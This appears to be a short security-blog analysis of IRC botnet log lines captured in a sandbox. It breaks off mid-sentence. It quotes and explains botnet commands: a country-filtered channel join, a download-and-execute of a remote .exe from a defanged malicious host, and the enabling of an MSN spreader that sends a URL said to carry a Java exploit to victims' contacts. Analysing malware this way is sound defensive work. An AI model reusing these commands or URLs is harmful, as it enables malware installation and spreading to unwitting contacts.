IRC Botnet Logs with MSN Spreader
We noticed the following details in a log file in our sandbox:
:m{IT|XXX}agaigyu!agaigyu@hostXXX.it JOIN :#ngr
:Apache2.0 332 m{IT|XXX}agaigyu #ngr :.j -c FRA,ESP,ITA #it .dl http://efirst-data. in/install.48208.exe .mod msn on .msn.int # .msn.set http://image4msn. com/
:Apache2.0 333 m{IT|XXX}agaigyu #ngr xxx 1301238177 |
These details are related to an IRC botnet and we can extract few commands:
1. Bots with country (-c) as FRA/ESP/ITA join channel “#it”:
.j -c FRA,ESP,ITA #it |
2. Download and execute a remote file:
.dl http://efirst-data. in/install.48208.exe |
3. Enable module MSN spreader:
.mod msn on |
4. Initialize MSN spreader:
.msn.int |
5. Set MSN spreader URL:
.msn.set http://image4msn. com/ |
Now the victim will send to all his MSN contacts the malicious URL:
http://image4msn. com/ |
This URL contains a java exploit, as we can see from here:
